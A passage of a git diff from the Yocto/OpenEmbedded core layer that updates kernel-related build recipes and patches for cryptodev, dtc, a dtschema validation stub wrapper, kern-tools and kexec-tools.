-From 8a884f55bd1527baa82fab68c186ba546273860c Mon Sep 17 00:00:00 2001
+From 66d85d3f26e21cf7c38b27de0dcc42376f5d853e Mon Sep 17 00:00:00 2001
From: Denys Dmytriyenko <denys@ti.com>
Date: Sun, 6 Apr 2014 19:51:39 -0400
Subject: [PATCH] Disable installing header file provided by another package
@@ -6,19 +6,20 @@ Subject: [PATCH] Disable installing header file provided by another package
Signed-off-by: Denys Dmytriyenko <denys@ti.com>
Upstream-Status: Inappropriate [ OE specific ]
+
---
Makefile | 1 -
1 file changed, 1 deletion(-)
diff --git a/Makefile b/Makefile
-index 5a080e0..bf02396 100644
+index d83aee6..c8d8ae5 100644
--- a/Makefile
+++ b/Makefile
-@@ -33,7 +33,6 @@ install: modules_install
+@@ -36,7 +36,6 @@ install: modules_install
modules_install:
$(MAKE) $(KERNEL_MAKE_OPTS) modules_install
- install -m 644 -D crypto/cryptodev.h $(DESTDIR)/$(includedir)/crypto/cryptodev.h
- clean:
- $(MAKE) $(KERNEL_MAKE_OPTS) clean
+ install_tests: tests
+ $(MAKE) -C tests install DESTDIR=$(PREFIX)
diff --git a/meta/recipes-kernel/cryptodev/files/0001-Fix-build-for-Linux-5.8-rc1.patch b/meta/recipes-kernel/cryptodev/files/0001-Fix-build-for-Linux-5.8-rc1.patch
deleted file mode 100644
index 02c721a4f3..0000000000
--- a/meta/recipes-kernel/cryptodev/files/0001-Fix-build-for-Linux-5.8-rc1.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From 9e765068582aae3696520346a7500322ca6cc2de Mon Sep 17 00:00:00 2001
-From: Joan Bruguera <joanbrugueram@gmail.com>
-Date: Sat, 13 Jun 2020 19:46:44 +0200
-Subject: [PATCH] Fix build for Linux 5.8-rc1
-
-See also: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9740ca4e95b43b91a4a848694a20d01ba6818f7b
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=da1c55f1b272f4bd54671d459b39ea7b54944ef9
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d8ed45c5dcd455fc5848d47f86883a1b872ac0d0
-
-Signed-off-by: Joan Bruguera <joanbrugueram@gmail.com>
-
-Upstream-Status: Backport [9e765068582aae3696520346a7500322ca6cc2de]
-
-Signed-off-by: He Zhe <zhe.he@windriver.com>
----
- zc.c | 8 ++++++++
- 1 file changed, 8 insertions(+)
-
-diff --git a/zc.c b/zc.c
-index ae464ff..2c286bb 100644
---- a/zc.c
-+++ b/zc.c
-@@ -58,7 +58,11 @@ int __get_userbuf(uint8_t __user *addr, uint32_t len, int write,
- return 0;
- }
-
-+#if (LINUX_VERSION_CODE < KERNEL_VERSION(5, 8, 0))
- down_read(&mm->mmap_sem);
-+#else
-+ mmap_read_lock(mm);
-+#endif
- #if (LINUX_VERSION_CODE < KERNEL_VERSION(4, 6, 0))
- ret = get_user_pages(task, mm,
- (unsigned long)addr, pgcount, write, 0, pg, NULL);
-@@ -74,7 +78,11 @@ int __get_userbuf(uint8_t __user *addr, uint32_t len, int write,
- (unsigned long)addr, pgcount, write ? FOLL_WRITE : 0,
- pg, NULL, NULL);
- #endif
-+#if (LINUX_VERSION_CODE < KERNEL_VERSION(5, 8, 0))
- up_read(&mm->mmap_sem);
-+#else
-+ mmap_read_unlock(mm);
-+#endif
- if (ret != pgcount)
- return -EINVAL;
-
---
-2.17.1
-
diff --git a/meta/recipes-kernel/cryptodev/files/0001-tests-Makefile-do-not-use-Werror.patch b/meta/recipes-kernel/cryptodev/files/0001-tests-Makefile-do-not-use-Werror.patch
new file mode 100644
index 0000000000..3285548a57
--- /dev/null
+++ b/meta/recipes-kernel/cryptodev/files/0001-tests-Makefile-do-not-use-Werror.patch
@@ -0,0 +1,25 @@
+From 47438e53e1156db0916c0f4683a24fe4d82152f2 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Fri, 10 Sep 2021 10:44:42 +0200
+Subject: [PATCH] tests/Makefile: do not use -Werror
+
+Otherwise, openssl 3 deprecation warnings become errors.
+Reported at https://github.com/cryptodev-linux/cryptodev-linux/issues/67
+
+Upstream-Status: Inappropriate [upstream needs to update the code]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ tests/Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/Makefile b/tests/Makefile
+index 2fb7a9a..e94f80e 100644
+--- a/tests/Makefile
++++ b/tests/Makefile
+@@ -1,4 +1,4 @@
+-CFLAGS += -I.. $(CRYPTODEV_CFLAGS) -Wall -Werror
++CFLAGS += -I.. $(CRYPTODEV_CFLAGS) -Wall
+
+ comp_progs := cipher_comp hash_comp hmac_comp
+
diff --git a/meta/recipes-kernel/dtc/dtc.inc b/meta/recipes-kernel/dtc/dtc.inc
deleted file mode 100644
index 0650e3c82e..0000000000
--- a/meta/recipes-kernel/dtc/dtc.inc
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "Device Tree Compiler"
-HOMEPAGE = "https://devicetree.org/"
-DESCRIPTION = "The Device Tree Compiler is a tool used to manipulate the Open-Firmware-like device tree used by PowerPC kernels."
-SECTION = "bootloader"
-LICENSE = "GPLv2 | BSD"
-DEPENDS = "flex-native bison-native"
-
-SRC_URI = "git://git.kernel.org/pub/scm/utils/dtc/dtc.git \
- file://make_install.patch \
- "
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
-
-EXTRA_OEMAKE='NO_PYTHON=1 PREFIX="${prefix}" LIBDIR="${libdir}" DESTDIR="${D}"'
-
-inherit pkgconfig
-
-S = "${WORKDIR}/git"
-
-do_install () {
- oe_runmake install
-}
-
-PACKAGES =+ "${PN}-misc"
-FILES_${PN}-misc = "${bindir}/convert-dtsv0 ${bindir}/ftdump ${bindir}/dtdiff"
-
-RDEPENDS_${PN}-misc += "bash diffutils"
diff --git a/meta/recipes-kernel/dtc/dtc/0001-meson.build-bump-version-to-1.7.0.patch b/meta/recipes-kernel/dtc/dtc/0001-meson.build-bump-version-to-1.7.0.patch
new file mode 100644
index 0000000000..79a3b92b44
--- /dev/null
+++ b/meta/recipes-kernel/dtc/dtc/0001-meson.build-bump-version-to-1.7.0.patch
@@ -0,0 +1,29 @@
+From 9153522103bd4ed7e3299c4d073f66bb37cb2d42 Mon Sep 17 00:00:00 2001
+From: Nikolay Letov <letov.nikolay@gmail.com>
+Date: Wed, 22 Feb 2023 13:36:07 +0300
+Subject: [PATCH 1/2] meson.build: bump version to 1.7.0
+
+[This was botched in the actual 1.7.0 release :( - David Gibson]
+
+Upstream-Status: Backport [https://git.kernel.org/pub/scm/utils/dtc/dtc.git/commit/?id=64a907f08b9bedd89833c1eee674148cff2343c6]
+
+Signed-off-by: Nikolay Letov <letov.nikolay@gmail.com>
+Signed-off-by: Peter Marko <peter.marko@siemens.com>
+---
+ meson.build | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/meson.build b/meson.build
+index 78251eb..d88cd9f 100644
+--- a/meson.build
++++ b/meson.build
+@@ -1,5 +1,5 @@
+ project('dtc', 'c',
+- version: '1.6.0',
++ version: '1.7.0',
+ license: ['GPL2+', 'BSD-2'],
+ default_options: 'werror=true',
+ )
+--
+2.30.2
+
diff --git a/meta/recipes-kernel/dtc/dtc/0002-meson-allow-building-from-shallow-clones.patch b/meta/recipes-kernel/dtc/dtc/0002-meson-allow-building-from-shallow-clones.patch
new file mode 100644
index 0000000000..0284905913
--- /dev/null
+++ b/meta/recipes-kernel/dtc/dtc/0002-meson-allow-building-from-shallow-clones.patch
@@ -0,0 +1,38 @@
+From 4415b0baece3c4351a6d3637c2754abbefd4795d Mon Sep 17 00:00:00 2001
+From: Peter Marko <peter.marko@siemens.com>
+Date: Sat, 16 Dec 2023 18:58:31 +0100
+Subject: [PATCH 2/2] meson: allow building from shallow clones
+
+When building from shallow clone, tag is not available
+and version defaults to git hash.
+Problem is that some builds check DTC version and fail the comparison.
+Example is https://git.trustedfirmware.org/TF-A/trusted-firmware-a.git
+Which fails to build with following error:
+dtc version too old (039a994), you need at least version 1.4.4
+
+Drop --always from git describe command, see
+https://github.com/mesonbuild/meson/blob/1.3.0/mesonbuild/utils/universal.py#L773
+This will make it more closer to build via Makefile.
+
+Upstream-Status: Submitted [https://github.com/dgibson/dtc/pull/122]
+
+Signed-off-by: Peter Marko <peter.marko@siemens.com>
+---
+ meson.build | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/meson.build b/meson.build
+index 78251eb..fc0c92a 100644
+--- a/meson.build
++++ b/meson.build
+@@ -56,6 +56,7 @@ py = py.find_installation(required: get_option('python'))
+ swig = find_program('swig', required: get_option('python'))
+
+ version_gen_h = vcs_tag(
++ command: ['git', 'describe', '--dirty=+'],
+ input: 'version_gen.h.in',
+ output: 'version_gen.h',
+ )
+--
+2.30.2
+
diff --git a/meta/recipes-kernel/dtc/dtc/make_install.patch b/meta/recipes-kernel/dtc/dtc/make_install.patch
deleted file mode 100644
index ea9359e815..0000000000
--- a/meta/recipes-kernel/dtc/dtc/make_install.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From e9852b9d206df1e42aa4c8afec55a0f5e099b533 Mon Sep 17 00:00:00 2001
-From: Saul Wold <sgw@linux.intel.com>
-Date: Thu, 3 Nov 2011 08:35:47 -0700
-Subject: [PATCH] dtc: Add patch to correctly install shared libraries and
-
-Upstream-Status: Inappropriate [configuration]
-
----
- Makefile | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index d8ebc4f..f5e01be 100644
---- a/Makefile
-+++ b/Makefile
-@@ -205,8 +205,8 @@ install-bin: all $(SCRIPTS)
- install-lib: all
- @$(VECHO) INSTALL-LIB
- $(INSTALL) -d $(DESTDIR)$(LIBDIR)
-- $(INSTALL_LIB) $(LIBFDT_lib) $(DESTDIR)$(LIBDIR)
-- ln -sf $(notdir $(LIBFDT_lib)) $(DESTDIR)$(LIBDIR)/$(LIBFDT_soname)
-+ $(INSTALL) $(LIBFDT_lib) $(DESTDIR)$(LIBDIR)/$(LIBFDT_soname)
-+ ln -sf $(LIBFDT_soname) $(DESTDIR)$(LIBDIR)/$(notdir $(LIBFDT_lib))
- ln -sf $(LIBFDT_soname) $(DESTDIR)$(LIBDIR)/libfdt.$(SHAREDLIB_EXT)
- $(INSTALL_DATA) $(LIBFDT_archive) $(DESTDIR)$(LIBDIR)
-
diff --git a/meta/recipes-kernel/dtc/dtc_1.6.0.bb b/meta/recipes-kernel/dtc/dtc_1.6.0.bb
deleted file mode 100644
index 92df70d9fc..0000000000
--- a/meta/recipes-kernel/dtc/dtc_1.6.0.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require dtc.inc
-
-LIC_FILES_CHKSUM = "file://GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://libfdt/libfdt.h;beginline=4;endline=7;md5=05bb357cfb75cae7d2b01d2ee8d76407"
-
-SRCREV = "2525da3dba9beceb96651dc2986581871dbeca30"
-
-S = "${WORKDIR}/git"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-kernel/dtc/dtc_1.7.0.bb b/meta/recipes-kernel/dtc/dtc_1.7.0.bb
new file mode 100644
index 0000000000..0702fc16df
--- /dev/null
+++ b/meta/recipes-kernel/dtc/dtc_1.7.0.bb
@@ -0,0 +1,34 @@
+SUMMARY = "Device Tree Compiler"
+HOMEPAGE = "https://devicetree.org/"
+DESCRIPTION = "The Device Tree Compiler is a toolchain for working with device tree source and binary files."
+SECTION = "bootloader"
+LICENSE = "GPL-2.0-only | BSD-2-Clause"
+
+LIC_FILES_CHKSUM = "file://GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://BSD-2-Clause;md5=5d6306d1b08f8df623178dfd81880927 \
+ file://README.license;md5=a1eb22e37f09df5b5511b8a278992d0e"
+
+SRC_URI = " \
+ git://git.kernel.org/pub/scm/utils/dtc/dtc.git;branch=main;protocol=https \
+ file://0001-meson.build-bump-version-to-1.7.0.patch \
+ file://0002-meson-allow-building-from-shallow-clones.patch \
+"
+SRCREV = "039a99414e778332d8f9c04cbd3072e1dcc62798"
+
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+S = "${WORKDIR}/git"
+
+inherit meson pkgconfig
+
+EXTRA_OEMESON = "-Dpython=disabled -Dvalgrind=disabled"
+
+PACKAGECONFIG ??= "tools"
+PACKAGECONFIG[tools] = "-Dtools=true,-Dtools=false,flex-native bison-native"
+PACKAGECONFIG[yaml] = "-Dyaml=enabled,-Dyaml=disabled,libyaml"
+
+PACKAGES =+ "${PN}-misc"
+FILES:${PN}-misc = "${bindir}/convert-dtsv0 ${bindir}/ftdump ${bindir}/dtdiff"
+RDEPENDS:${PN}-misc += "${@bb.utils.contains('PACKAGECONFIG', 'tools', 'bash diffutils', '', d)}"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-doc-validate b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-doc-validate
new file mode 100644
index 0000000000..2aa57851c7
--- /dev/null
+++ b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-doc-validate
@@ -0,0 +1,20 @@
+#!/bin/sh
+# dt-doc-validate wrapper to allow kernel dt-validation to pass
+#
+# Copyright (C) 2021 Bruce Ashfield <bruce.ashfield@gmail.com>
+# License: MIT (see COPYING.MIT at the root of the repository for terms)
+
+for arg; do
+ case "$arg" in
+ --version)
+ echo "v2021.10"
+ ;;
+ esac
+done
+
+# TBD: left for future consideration
+# exec dt-doc-validate.real "$@"
+
+# we always succeed
+exit 0
+
diff --git a/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-mk-schema b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-mk-schema
new file mode 100644
index 0000000000..24b89d8619
--- /dev/null
+++ b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-mk-schema
@@ -0,0 +1,20 @@
+#!/bin/sh
+# dt-mk-schema wrapper to allow kernel dt-validation to pass
+#
+# Copyright (C) 2021 Bruce Ashfield <bruce.ashfield@gmail.com>
+# License: MIT (see COPYING.MIT at the root of the repository for terms)
+
+for arg; do
+ case "$arg" in
+ --version)
+ echo "v2021.10"
+ ;;
+ esac
+done
+
+# TBD: left for future consideration
+# exec dt-mk-schema.real "$@"
+
+# we always succeed
+exit 0
+
diff --git a/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-validate b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-validate
new file mode 100644
index 0000000000..8a4710a7ed
--- /dev/null
+++ b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-validate
@@ -0,0 +1,20 @@
+#!/bin/sh
+# dt-validate wrapper to allow kernel dt-validation to pass
+#
+# Copyright (C) 2021 Bruce Ashfield <bruce.ashfield@gmail.com>
+# License: MIT (see COPYING.MIT at the root of the repository for terms)
+
+for arg; do
+ case "$arg" in
+ --version)
+ echo "v2021.10"
+ ;;
+ esac
+done
+
+# TBD: left for future consideration
+# exec dt-validate.real "$@"
+
+# we always succeed
+exit 0
+
diff --git a/meta/recipes-kernel/dtc/python3-dtschema-wrapper_2021.10.bb b/meta/recipes-kernel/dtc/python3-dtschema-wrapper_2021.10.bb
new file mode 100644
index 0000000000..974fcba876
--- /dev/null
+++ b/meta/recipes-kernel/dtc/python3-dtschema-wrapper_2021.10.bb
@@ -0,0 +1,17 @@
+SUMMARY = "Wrapper for tooling for devicetree validation using YAML and jsonschema"
+HOMEPAGE = "https://yoctoproject.org"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
+
+SRC_URI = "file://dt-doc-validate \
+ file://dt-mk-schema \
+ file://dt-validate"
+
+do_install() {
+ install -d ${D}${bindir}/
+ install -m 755 ${WORKDIR}/dt-doc-validate ${D}${bindir}/
+ install -m 755 ${WORKDIR}/dt-mk-schema ${D}${bindir}/
+ install -m 755 ${WORKDIR}/dt-validate ${D}${bindir}/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-kernel/kern-tools/kern-tools-native_git.bb b/meta/recipes-kernel/kern-tools/kern-tools-native_git.bb
index 4402e14754..8eff00821a 100644
--- a/meta/recipes-kernel/kern-tools/kern-tools-native_git.bb
+++ b/meta/recipes-kernel/kern-tools/kern-tools-native_git.bb
@@ -1,18 +1,23 @@
SUMMARY = "Tools for managing Yocto Project style branched kernels"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://tools/kgit;beginline=5;endline=9;md5=9c30e971d435e249624278c3e343e501"
+DESCRIPTION = "Powerful set of tools or managing Yocto Linux kernel sources \
+and configuration data. You can use these tools to make a single configuration \
+change, apply multiple patches, or work with your own kernel sources."
+HOMEPAGE = "https://www.yoctoproject.org/"
+LICENSE = "GPL-2.0-only & MIT"
+LIC_FILES_CHKSUM = "\
+ file://tools/kgit;beginline=5;endline=9;md5=9c30e971d435e249624278c3e343e501 \
+ file://Kconfiglib/LICENSE.txt;md5=712177a72a3937909543eda3ad1bfb7c \
+"
-DEPENDS = "git-native"
+DEPENDS += "git-replacement-native"
-SRCREV = "8b6fa727013daba5e8d72e5fc61d80caed944c6a"
-PR = "r12"
-PV = "0.2+git${SRCPV}"
+SRCREV = "7160ebe8b865dd6028aef278efa219433db93f7e"
+PV = "0.3+git"
inherit native
-SRC_URI = "git://git.yoctoproject.org/yocto-kernel-tools.git"
+SRC_URI = "git://git.yoctoproject.org/yocto-kernel-tools.git;branch=master;protocol=https"
S = "${WORKDIR}/git"
-UPSTREAM_CHECK_COMMITS = "1"
do_configure() {
:
diff --git a/meta/recipes-kernel/kexec/kexec-tools/0001-arm64-kexec-disabled-check-if-kaslr-seed-dtb-propert.patch b/meta/recipes-kernel/kexec/kexec-tools/0001-arm64-kexec-disabled-check-if-kaslr-seed-dtb-propert.patch
new file mode 100644
index 0000000000..ddc1519126
--- /dev/null
+++ b/meta/recipes-kernel/kexec/kexec-tools/0001-arm64-kexec-disabled-check-if-kaslr-seed-dtb-propert.patch
@@ -0,0 +1,70 @@
+From d48ec5e1a5fb7907520dee71b1d94045486a0c29 Mon Sep 17 00:00:00 2001
+From: Alexander Kamensky <alexander.kamensky42@gmail.com>
+Date: Thu, 12 Nov 2020 12:56:46 -0800
+Subject: [PATCH] arm64: kexec: disabled check if kaslr-seed dtb property was
+ wiped
+
+Kexec when loading arm64 kernel checks if chosen/kaslr-seed dtb property is
+wiped. It's a good assertion to verify proper behavior of kernel. However,
+if bootloader creates and fills kaslr-seed property and kernel is not
+configured with CONFIG_RANDOMIZE_BASE then logic of reading and wiping
+kaslr-seed does not run. As a result kaslr-seed property is not zero and when
+kexec tries to load secondary kernel it fails with the following message:
+
+setup_2nd_dtb: kaslr-seed is not wiped to 0.
+kexec: setup_2nd_dtb failed.
+kexec: load failed.
+
+This was observed on Yocto Project on qemuarm64 machine with 5.8 kernel,
+qemu 5.1.0. Qemu created kaslr-seed property but kernel was not configured
+with CONFIG_RANDOMIZE_BASE.
+
+Although check has some value, there is a use-case where it breaks kexec,
+this patch removes it.
+
+Note in described use-case the fact that kaslr-seed is not wiped and user
+readable through /sys/firmware/fdt or
+/sys/firmware/devicetree/base/chosen/kaslr-seed is not a security problem
+as kaslr is disabled anyway.
+
+Signed-off-by: Alexander Kamensky <alexander.kamensky42@gmail.com>
+Upstream-Status: Submitted [http://lists.infradead.org/pipermail/kexec/2020-November/021740.html]
+---
+ kexec/arch/arm64/kexec-arm64.c | 14 +-------------
+ 1 file changed, 1 insertion(+), 13 deletions(-)
+
+diff --git a/kexec/arch/arm64/kexec-arm64.c b/kexec/arch/arm64/kexec-arm64.c
+index ec6df4b..10238d9 100644
+--- a/kexec/arch/arm64/kexec-arm64.c
++++ b/kexec/arch/arm64/kexec-arm64.c
+@@ -503,7 +503,7 @@ static int setup_2nd_dtb(struct dtb *dtb, char *command_line, int on_crash)
+ int len, range_len;
+ int nodeoffset;
+ int new_size;
+- int i, result, kaslr_seed;
++ int i, result;
+
+ result = fdt_check_header(dtb->buf);
+
+@@ -576,18 +576,6 @@ static int setup_2nd_dtb(struct dtb *dtb, char *command_line, int on_crash)
+ return result;
+ }
+ } else {
+- kaslr_seed = fdt64_to_cpu(*prop);
+-
+- /* kaslr_seed must be wiped clean by primary
+- * kernel during boot
+- */
+- if (kaslr_seed != 0) {
+- dbgprintf("%s: kaslr-seed is not wiped to 0.\n",
+- __func__);
+- result = -EINVAL;
+- goto on_error;
+- }
+-
+ /*
+ * Invoke the getrandom system call with
+ * GRND_NONBLOCK, to make sure we
+--
+2.25.1
+
diff --git a/meta/recipes-kernel/kexec/kexec-tools/0001-kexec-Fix-build-with-fno-common.patch b/meta/recipes-kernel/kexec/kexec-tools/0001-kexec-Fix-build-with-fno-common.patch
deleted file mode 100644
index 355053363e..0000000000
--- a/meta/recipes-kernel/kexec/kexec-tools/0001-kexec-Fix-build-with-fno-common.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From c5fec6d6368b4103557deb710150119dca438544 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 5 Aug 2020 10:46:39 -0700
-Subject: [PATCH] kexec: Fix build with -fno-common
-
-Ensure that my_debug is not doubly defined
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- kexec/arch/ppc64/kexec-elf-ppc64.c | 2 --
- kexec/fs2dt.h | 2 +-
- 2 files changed, 1 insertion(+), 3 deletions(-)
-
-diff --git a/kexec/arch/ppc64/kexec-elf-ppc64.c b/kexec/arch/ppc64/kexec-elf-ppc64.c
-index 3510b70..695b8b0 100644
---- a/kexec/arch/ppc64/kexec-elf-ppc64.c
-+++ b/kexec/arch/ppc64/kexec-elf-ppc64.c
-@@ -44,8 +44,6 @@
- uint64_t initrd_base, initrd_size;
- unsigned char reuse_initrd = 0;
- const char *ramdisk;
--/* Used for enabling printing message from purgatory code */
--int my_debug = 0;
-
- int elf_ppc64_probe(const char *buf, off_t len)
- {
-diff --git a/kexec/fs2dt.h b/kexec/fs2dt.h
-index 7633273..fe24931 100644
---- a/kexec/fs2dt.h
-+++ b/kexec/fs2dt.h
-@@ -30,7 +30,7 @@ extern struct bootblock bb[1];
-
- /* Used for enabling printing message from purgatory code
- * Only has implemented for PPC64 */
--int my_debug;
-+extern int my_debug;
- extern int dt_no_old_root;
-
- void reserve(unsigned long long where, unsigned long long length);
---
-2.28.0
-
diff --git a/meta/recipes-kernel/kexec/kexec-tools/0002-purgatory-Pass-r-directly-to-linker.patch b/meta/recipes-kernel/kexec/kexec-tools/0002-purgatory-Pass-r-directly-to-linker.patch
index 363d5da4ae..a537ac2f0b 100644
--- a/meta/recipes-kernel/kexec/kexec-tools/0002-purgatory-Pass-r-directly-to-linker.patch
+++ b/meta/recipes-kernel/kexec/kexec-tools/0002-purgatory-Pass-r-directly-to-linker.patch
@@ -1,4 +1,4 @@
-From a04bcf8f683c1a5a7d015920124457ad56fb7cf0 Mon Sep 17 00:00:00 2001
+From e5bc9fbd6029057a4e3815a5326af5bd83a450e6 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 7 Sep 2015 07:59:45 +0000
Subject: [PATCH] purgatory: Pass -r directly to linker
@@ -10,15 +10,16 @@ unfiltered
Signed-off-by: Khem Raj <raj.khem@gmail.com>
Upstream-Status: Pending
+
---
purgatory/Makefile | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/purgatory/Makefile b/purgatory/Makefile
-index 2dd6c47..416e6b9 100644
+index 4d2d071..6673423 100644
--- a/purgatory/Makefile
+++ b/purgatory/Makefile
-@@ -60,7 +60,7 @@ $(PURGATORY): CPPFLAGS=$($(ARCH)_PURGATORY_EXTRA_CFLAGS) \
+@@ -61,7 +61,7 @@ $(PURGATORY): CPPFLAGS=$($(ARCH)_PURGATORY_EXTRA_CFLAGS) \
-I$(shell $(CC) -print-file-name=include)
$(PURGATORY): LDFLAGS=$($(ARCH)_PURGATORY_EXTRA_CFLAGS)\
-Wl,--no-undefined -nostartfiles -nostdlib \
diff --git a/meta/recipes-kernel/kexec/kexec-tools/0003-kexec-ARM-Fix-add_buffer_phys_virt-align-issue.patch b/meta/recipes-kernel/kexec/kexec-tools/0003-kexec-ARM-Fix-add_buffer_phys_virt-align-issue.patch
index 832fe67716..e874a8b4f1 100644
--- a/meta/recipes-kernel/kexec/kexec-tools/0003-kexec-ARM-Fix-add_buffer_phys_virt-align-issue.patch
+++ b/meta/recipes-kernel/kexec/kexec-tools/0003-kexec-ARM-Fix-add_buffer_phys_virt-align-issue.patch
@@ -1,4 +1,4 @@
-From 55e583d20651e829afbbc8dba0f8ec3017cda2d5 Mon Sep 17 00:00:00 2001
+From b62c1da8f8e641397add10367ee9c4cfdedb1cc0 Mon Sep 17 00:00:00 2001
From: Haiqing Bai <Haiqing.Bai@windriver.com>
Date: Mon, 9 Jan 2017 15:26:29 +0800
Subject: [PATCH] kexec: ARM: Fix add_buffer_phys_virt() align issue
@@ -12,15 +12,16 @@ Upstream-Status: Pending
Suggested-By:fredrik.markstrom@gmail.com
Signed-off-by: Haiqing Bai <Haiqing.Bai@windriver.com>
+
---
kexec/arch/arm/crashdump-arm.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/kexec/arch/arm/crashdump-arm.c b/kexec/arch/arm/crashdump-arm.c
-index daa4788..3f72b38 100644
+index 1ec1826..cc20f63 100644
--- a/kexec/arch/arm/crashdump-arm.c
+++ b/kexec/arch/arm/crashdump-arm.c
-@@ -240,6 +240,7 @@ int load_crashdump_segments(struct kexec_info *info, char *mod_cmdline)
+@@ -242,6 +242,7 @@ int load_crashdump_segments(struct kexec_info *info, char *mod_cmdline)
void *buf;
int err;
int last_ranges;
@@ -28,7 +29,7 @@ index daa4788..3f72b38 100644
/*
* First fetch all the memory (RAM) ranges that we are going to pass to
-@@ -281,6 +282,7 @@ int load_crashdump_segments(struct kexec_info *info, char *mod_cmdline)
+@@ -283,6 +284,7 @@ int load_crashdump_segments(struct kexec_info *info, char *mod_cmdline)
/* for support LPAE enabled kernel*/
elf_info.class = ELFCLASS64;
@@ -36,7 +37,7 @@ index daa4788..3f72b38 100644
err = crash_create_elf64_headers(info, &elf_info,
usablemem_rgns.ranges,
-@@ -302,8 +304,9 @@ int load_crashdump_segments(struct kexec_info *info, char *mod_cmdline)
+@@ -304,8 +306,9 @@ int load_crashdump_segments(struct kexec_info *info, char *mod_cmdline)
* 1MB) so that available memory passed in kernel command line will be
* aligned to 1MB. This is because kernel create_mapping() wants memory
* regions to be aligned to SECTION_SIZE.
diff --git a/meta/recipes-kernel/kexec/kexec-tools/0004-x86_64-Add-support-to-build-kexec-tools-with-x32-ABI.patch b/meta/recipes-kernel/kexec/kexec-tools/0004-x86_64-Add-support-to-build-kexec-tools-with-x32-ABI.patch
deleted file mode 100644
index a809d5ba8e..0000000000
--- a/meta/recipes-kernel/kexec/kexec-tools/0004-x86_64-Add-support-to-build-kexec-tools-with-x32-ABI.patch
+++ /dev/null
@@ -1,93 +0,0 @@
-From 8c9a5076543eb3d497e016b3d7707e93d6311883 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
-Date: Mon, 15 Jul 2013 23:32:36 -0700
-Subject: [PATCH] x86_64: Add support to build kexec-tools with x32 ABI
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Summary of changes,
-
-configure.ac: Add test for detect x32 ABI.
-purgatory/arch/x86_64/Makefile: Not use mcmodel large when
- x32 ABI is set.
-kexec/arch/x86_64/kexec-elf-rel-x86_64.c: When x32 ABI is set
- use ELFCLASS32 instead of ELFCLASS64.
-kexec/kexec-syscall.h: Add correct syscall number for x32 ABI.
-
-Upstream-Status: Submitted
-
-Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com>
-Signed-off-by: Mariano Lopez <mariano.lopez@linux.intel.com>
----
- configure.ac | 9 +++++++++
- kexec/arch/x86_64/kexec-elf-rel-x86_64.c | 4 ++++
- kexec/kexec-syscall.h | 4 ++++
- purgatory/arch/x86_64/Makefile | 4 +++-
- 4 files changed, 20 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index c2b0c68..60882b8 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -54,6 +54,15 @@ case $target_cpu in
- ;;
- ia64|x86_64|alpha|m68k )
- ARCH="$target_cpu"
-+
-+ dnl ---Test for x32 ABI in x86_64
-+ if test "x$ARCH" = "xx86_64" ; then
-+ AC_EGREP_CPP(x32_test,
-+ [#if defined(__x86_64__) && defined (__ILP32__)
-+ x32_test
-+ #endif
-+ ], SUBARCH='x32', SUBARCH='64')
-+ fi
- ;;
- * )
- AC_MSG_ERROR([unsupported architecture $target_cpu])
-diff --git a/kexec/arch/x86_64/kexec-elf-rel-x86_64.c b/kexec/arch/x86_64/kexec-elf-rel-x86_64.c
-index db85b44..0ce1172 100644
---- a/kexec/arch/x86_64/kexec-elf-rel-x86_64.c
-+++ b/kexec/arch/x86_64/kexec-elf-rel-x86_64.c
-@@ -8,7 +8,11 @@ int machine_verify_elf_rel(struct mem_ehdr *ehdr)
- if (ehdr->ei_data != ELFDATA2LSB) {
